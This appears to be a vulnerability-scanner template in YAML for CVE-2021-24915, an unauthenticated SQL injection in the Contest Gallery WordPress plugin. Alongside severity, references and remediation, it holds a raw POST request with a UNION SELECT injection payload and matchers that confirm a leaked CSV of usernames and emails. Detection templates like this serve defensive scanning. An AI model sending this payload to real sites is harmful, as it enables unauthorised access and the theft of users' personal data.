60 lines
2.3 KiB
YAML
60 lines
2.3 KiB
YAML
id: CVE-2021-24915
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info:
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name: Contest Gallery < 13.1.0.6 - SQL injection
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author: r3Y3r53
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severity: critical
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description: |
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The plugin does not have capability checks and does not sanitise or escape the cg-search-user-name-original parameter before using it in a SQL statement when exporting users from a gallery, which could allow unauthenticated to perform SQL injections attacks, as well as get the list of all users registered on the blog, including their username and email address.
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remediation: Fixed in version 13.1.0.6
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reference:
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- https://wpscan.com/vulnerability/45ee86a7-1497-4c81-98b8-9a8e5b3d4fac
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- https://gist.github.com/tpmiller87/6c05596fe27dd6f69f1aaba4cbb9c917
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- https://wordpress.org/plugins/contest-gallery/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-24915
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cwe-id: CWE-89
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epss-score: 0.21189
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epss-percentile: 0.9587
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cpe: cpe:2.3:a:contest_gallery:contest_gallery:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: contest_gallery
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product: contest_gallery
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framework: wordpress
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public-query: "/wp-content/plugins/contest-gallery/"
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tags: cve,cve2021,wordpress,wp-plugin,wpscan,wp,contest-gallery
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http:
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- raw:
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- |
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POST /wp-admin/admin.php?page=contest-gallery/index.php&users_management=true&option_id=1 HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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cg-search-user-name=&cg-search-user-name-original=%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x717a6b7871%2CIFNULL%28CAST%28VERSION%28%29%20AS%20NCHAR%29%2C0x20%29%2C0x716b707871%29%2CNULL--%20-&cg_create_user_data_csv_new_export=true&cg-search-gallery-id-original=&cg-search-gallery-id=&cg_create_user_data_csv=true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'WpUserId'
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- 'Username'
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- 'Usermail'
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condition: and
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- type: word
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part: header
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words:
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- 'text/csv'
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- 'filename='
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502204a2d911e0952bd3d5f6fd05df1cbd2a7fa77671637dacc6ad31530f0b5a7f826022100e227322a036924a8f8b6215b1e98f6aebefc62453dabbc2252cbd1675d2d8648:922c64590222798bb761d5b6d8e72950 |